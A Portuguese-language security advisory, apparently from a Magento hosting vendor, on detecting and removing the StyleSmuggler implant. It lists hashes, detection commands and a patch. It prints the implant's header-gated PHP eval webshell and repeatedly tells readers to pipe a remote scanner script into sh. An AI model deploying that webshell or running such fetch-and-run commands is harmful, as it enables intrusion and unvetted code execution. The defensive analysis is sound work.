O StyleSmuggler é uma ferramenta de acesso remoto escrita em Rust que tem aparecido em servidores Magento através de uma falha de execução remota de código não autenticada na framework do Magento. Vale a pena conhecê-la por um motivo específico: foi construída para sobreviver às verificações que a maioria dos donos de lojas efetivamente faz. Esconde-se em diretórios de cache, disfarça-se na lista de processos, guarda cópias de reserva de si própria e instala uma backdoor em PHP que devolve um 404 genuíno a todos exceto ao atacante.
Se gere uma loja Magento, este artigo dá-lhe os comandos para a verificar, a ordem pela qual a deve limpar se encontrar alguma coisa e o patch que fecha a porta.
curl https://shopwhizzy.com/gowiz/external/agent | sh
Verifica os seus ficheiros e a base de dados em busca de webshells, skimmers e assinaturas de malware, e compara a sua versão do Magento com os boletins da Adobe. Depois, leia a secção camada do servidor (host) mais abaixo, porque há uma parte disto que nenhuma análise ao nível da loja consegue ver.
Como se apresenta no disco
Dois binários ELF sem símbolos, ambos escondidos em diretórios que ninguém inspeciona, porque supostamente estão cheios de lixo descartável:
- Ao nível da conta da loja — um binário Rust static-PIE em
~/.cache/chrony/chronyd, relançado por uma entrada de cron que corre duas vezes por hora. - Ao nível de root — um binário mais pequeno em
/root/.cache/fontconfig/fc-cache, com a sua própria entrada de cron e uma unidade systemd em/etc/systemd/system/fontconfig-cache.servicecujoExecStartcorre como root.
Os nomes são escolhidos para serem aborrecidos. O chronyd é o daemon de sincronização horária, o fc-cache é o gerador da cache de fontes, e ambos são exatamente o tipo de coisa por que se passa os olhos sem reparar.
Quando a propriedade dos ficheiros é root:<your-shop-user>, está perante uma escalada de privilégios e não um simples comprometimento da aplicação web, e o âmbito da limpeza é o servidor inteiro, não apenas a sua loja.
Hashes maliciosos conhecidos
Foram observados quatro binários distintos. Compare pelo SHA-256, nunca pelo nome do ficheiro — os nomes são deliberadamente plausíveis e as cópias de reserva usam nomes aleatórios:
1a3374ffac5b0a62467612f264c49792d206304d4514409c982325c91231375d 2281147 static-PIE ~/.cache/chrony/chronyd
500cd1231f4286225c9db434f126b7b6e2a0496f495586c02a5d123e49dc7a51 312048 dynamic /root/.cache/fontconfig/fc-cache
4352cabaa451e5a894535fbcc4d46628701303322a13745cb5479d7d0534ae8e 2270031 static-PIE ~/.cache/fontconfig/fc-cache
a5b9e9082ecd446ad89b94748b13175e972efc6ae53c024ffdc3ab668f20ae75 2128224 dynamic /tmp/.kw_*
Quatro razões pelas quais uma verificação rápida não o deteta
Estas são as características que justificam uma verificação deliberada do StyleSmuggler, e não apenas um olhar de relance.
1. Mente sobre o seu nome na lista de processos
Um implante em execução aparece no ps apenas como chronyd. Nem o caminho, nem o diretório .cache — apenas um nome de daemon plausível. Por isso, a pesquisa óbvia não encontra nada:
pgrep -f '\.cache/chrony/chronyd' # matches only the short-lived cron wrapper, if anything
O que ocasionalmente apanha é o wrapper /bin/sh -c <path> que o cron lança durante um ou dois segundos. Matar esses processos não resolve nada — o daemon continua a correr e reescreve o seu crontab em cerca de dois minutos.
A verificação que funciona ignora totalmente os nomes e pergunta ao kernel o que cada processo realmente é:
for p in /proc/[0-9]*; do
exe=$(readlink "$p/exe" 2>/dev/null) || continue
case "$exe" in
*.cache/*|*/tmp/*) echo "$p -> $exe";;
esac
done
2. Guarda cópias de reserva executáveis em /tmp
O implante coloca cópias executáveis de si próprio em /tmp: modo 755, pertencentes ao utilizador da sua loja, com nomes aleatórios de oito caracteres e extensões sem sentido (/tmp/g7gylnwk.ha4), além de variantes ocultas /tmp/.kw_<digits>.
Isto importa para a limpeza. Neutralizar os dois caminhos .cache conhecidos e ficar por aí deixa uma cópia funcional num diretório onde todos podem escrever. Faça também uma análise de hashes aos seus diretórios temporários.
3. A unidade systemd está marcada como imutável
Se existir um componente ao nível de root, o respetivo ficheiro de serviço tem o atributo imutável, e a tentativa de o apagar falha de uma forma que parece uma proteção do sistema e não obra de um atacante:
rm /etc/systemd/system/fontconfig-cache.service
rm: cannot remove '...': Operation not permitted
lsattr /etc/systemd/system/fontconfig-cache.service
----i---------e------- /etc/systemd/system/fontconfig-cache.service
Primeiro chattr -i, depois remova. Um script de limpeza que não verifique o lsattr vai reportar sucesso num ficheiro que continua lá.
4. A webshell responde 404 a todos exceto ao atacante
A reentrada faz-se através de pequenas webshells em PHP — de 142 a 144 bytes — deixadas em pub/media e var, em caminhos que parecem output temporário normal do Magento:
pub/media/downloadable/tmp/in/uy/thumb_l2rdsak8.php
var/import/images/eu/li/product_gqami5d3.php
Todo o conteúdo é uma barreira baseada num cabeçalho:
<?php if(($_SERVER['HTTP_X_CATALOG_VER']??'')!=='<md5>'){http_response_code(404);exit;} @eval($_POST['load']??''); ?>
Duas consequências. Primeiro, o nome do cabeçalho e a chave mudam a cada nova infeção — já foram vistos X-Catalog-Ver e X-Thumb-Key —, por isso procure pelo par estrutural @eval($_POST[ mais http_response_code(404), nunca pelo nome do cabeçalho. Segundo, como todos os pedidos não autenticados recebem um 404 real, nenhum scanner que funcione por HTTP a partir do exterior alguma vez as verá. Só podem ser encontradas no disco.
generated/code/ quando fizer um grep de conteúdo numa árvore Magento. O output de injeção de dependências do próprio Magento vai inundar os resultados, e nada disso é uma webshell.
Verifique a sua loja
O caminho mais rápido é o scanner, que trata da parte dos ficheiros e da base de dados por si e não precisa de nada instalado:
curl https://shopwhizzy.com/gowiz/external/agent | sh
Funciona em qualquer instalação Magento a que tenha acesso SSH — a nossa, o seu próprio servidor, a máquina de um cliente em cPanel ou Plesk — e termina com um link para um relatório privado. Verifica ficheiros PHP e JavaScript em busca de assinaturas de malware, webshells e padrões de skimmers, verifica os blocos CMS, a configuração e as contas de administrador, e confirma a sua versão do Magento face aos boletins de segurança da Adobe, inspecionando o código em vez de confiar na string da versão.
Se preferir fazê-lo à mão, estes quatro comandos são só de leitura e não alteram nada:
# 1. Implant binaries in the usual hiding places
find ~/.cache /tmp /var/tmp /dev/shm -type f -size +100k 2>/dev/null \
-exec sha256sum {} + | grep -Ff known_bad_hashes.txt
# 2. Processes whose real executable sits in a cache or temp directory
for p in /proc/[0-9]*; do
e=$(readlink "$p/exe" 2>/dev/null)
case "$e" in *.cache/*|/tmp/*) echo "$p -> $e";; esac
done
# 3. Cron entries pointing into a cache directory
crontab -l | grep -E '\.cache|chronyd|fc-cache'
# 4. Header-gated webshells (match the structure, not the header name)
grep -rlE 'http_response_code\(404\)' pub/media var --include='*.php' 2>/dev/null \
| xargs -r grep -l '@eval($_POST\[' 2>/dev/null
Coloque os quatro hashes acima em known_bad_hashes.txt, um por linha, antes de executar o primeiro.
A parte que a sua própria análise não consegue ver
Esta é a coisa mais importante deste artigo, e aplica-se seja qual for o seu fornecedor de alojamento ou o scanner que usa.
Os scanners de segurança em alojamento partilhado e gerido estão limitados à sua conta. Leem o seu crontab, o seu diretório pessoal, os seus processos. É o desenho correto — não deve conseguir listar os ficheiros de outro cliente, e eles não devem conseguir listar os seus.
Também significa que um implante ao nível de root é estruturalmente invisível para qualquer relatório que possa executar por si. Não é que escape a uma regra fraca — é invisível por definição, em todas as análises, todas as noites, para sempre. E, no caso do StyleSmuggler, o componente de root chega frequentemente primeiro, e o de nível de loja só depois.
Assim, um relatório limpo ao nível da loja significa que a sua loja está limpa. Não é, nem pode ser, uma garantia sobre o servidor por baixo dela.
A pergunta a fazer ao seu fornecedor de alojamento: "O que vigia a camada do servidor — o crontab do root, /etc/systemd/system, binários pertencentes ao root em diretórios temporários e processos do root ou de outros clientes?" Se a resposta for apenas o scanner por conta que pode abrir e executar por si, ninguém está a vigiar essa camada.
Nos servidores geridos pela ShopWhizzy, isto é coberto separadamente do seu relatório WhizzyScan, por verificações ao nível do servidor que olham especificamente para fora de cada conta — caminhos indicadores em /root, binários pertencentes ao root em diretórios temporários, unidades systemd cujo ExecStart aponta para onde não deve —, reportados com as respetivas flags lsattr para que um ficheiro imutável não possa resistir discretamente à limpeza. Esses resultados vão para a nossa equipa, porque não dizem respeito a uma loja em particular.
Se encontrar alguma coisa
A sequência importa, porque uma ordem errada permite que o implante se repare a si próprio enquanto trabalha:
chmod 000a todas as cópias dos binários — incluindo as de/tmp. Isto preserva os bytes caso alguém precise de os analisar mais tarde.- Ponha as webshells em quarentena (retire-as da document root; não se limite a esvaziá-las).
- Elimine as entradas de cron. Se existir uma unidade systemd, faça
chattr -ie remova-a. - Mate os processos por
/proc/*/exe, não pelo nome. - Volte a verificar ao fim de vinte segundos.
Este último passo não é opcional. Um daemon sobrevivente reescreve o cron em cerca de dois minutos, por isso uma verificação feita imediatamente após a limpeza vai dar-lhe razão, quer a limpeza tenha funcionado quer não.
Depois, altere as credenciais. Se o nível de root estiver envolvido, considere exposto tudo o que é acessível a partir desse servidor: as credenciais da base de dados em app/etc/env.php, todas as contas de administrador do Magento, chaves de API e tokens de integração, e qualquer palavra-passe ou chave guardada em scripts na máquina. Mudar as duas óbvias e ficar por aí é a forma como as lojas são reinfetadas duas semanas depois.
Feche a porta: aplique o patch ao vetor de entrada
A porta de entrada é uma falha de execução remota de código não autenticada na framework do Magento, corrigida pelo hotfix que a Adobe distribui como VULN-39341. Existem variantes para 2.4.4-p18, 2.4.5-p17, 2.4.6-p15, 2.4.7-p10, 2.4.8-p5 e 2.4.9 e, na prática, aplicam-se sem problemas bem para lá da versão nominal.
Não precisa de recompilação de DI. O patch acrescenta um segundo argumento ao construtor de Magento\Framework\View\Element\BlockFactory, mas declara-o como ?ConfigInterface $x = null com um fallback ObjectManager::getInstance(). Esse valor predefinido nulo é o que torna seguro aplicá-lo numa instalação compilada — normalmente, uma alteração à assinatura de um construtor deita o site abaixo até voltar a executar setup:di:compile.
Nada abaixo da 2.4.6 recebe qualquer variante deste patch. Se é o seu caso, a correção é um upgrade de versão, não um hotfix, e deve ser agendado já e não no próximo trimestre.
Se o patch rejeitar hunks em pub/errors/processor.php com "different line endings", esse ficheiro tem uma mistura de CRLF e LF — uma situação comum nele —, e o --ignore-whitespace não ajuda. Divida o patch, aplique tudo o resto e depois normalize esse ficheiro:
awk '/^diff --git a\/pub\/errors\/processor\.php/{f=1} !f' VULN-39341.patch > part1.patch
awk '/^diff --git a\/pub\/errors\/processor\.php/{f=1} f' VULN-39341.patch > part2.patch
patch -p1 < part1.patch
sed -i 's/\r$//' pub/errors/processor.php
patch -p1 < part2.patch
E, já agora
Aplicar o patch à framework fecha esta porta em particular. Os endpoints de carregamento de ficheiros que o Magento expõe por predefinição são outra, e são a via mais abusada para entrar numa loja que, de resto, está atualizada. Abordámos ambas as correções — o módulo de proteção PolyShell para os carregamentos de opções personalizadas e a desativação do endpoint de carregamento da morada do cliente — no nosso artigo sobre o APSB25-88. Se ainda não as aplicou, faça-o na mesma janela de manutenção.
Três ideias a reter
Uma verificação direcionada que não devolve nada não é um atestado de boa saúde. Significa uma de duas coisas — não há malware, ou a verificação está a procurar no sítio errado — e não consegue distinguir uma da outra sem um controlo. Faça dump do crontab em bruto e confirme que vê linhas que sabe que lá estão. Confirme que o seu find percorreu de facto o diretório pretendido. Um script que tenha pub/media fixo, numa loja cuja document root é pub/, não encontra esse diretório e reporta que está tudo limpo.
Compare pelo conteúdo e pelos hashes, nunca pelos nomes. Nomes de ficheiros, nomes de processos e nomes de cabeçalhos são aqui todos controlados pelo atacante, e os três mudam de uma infeção para outra.
Saiba quem vigia a camada do servidor. A sua própria análise cobre a sua própria conta. Pergunte ao seu fornecedor o que cobre o resto e trate uma resposta vaga como um não.
Execute a análise gratuita em qualquer loja Magento a que tenha acesso SSH: curl https://shopwhizzy.com/gowiz/external/agent | sh
Se algo vier assinalado como crítico e quiser ajuda para o limpar, abra um ticket e daremos uma vista de olhos.
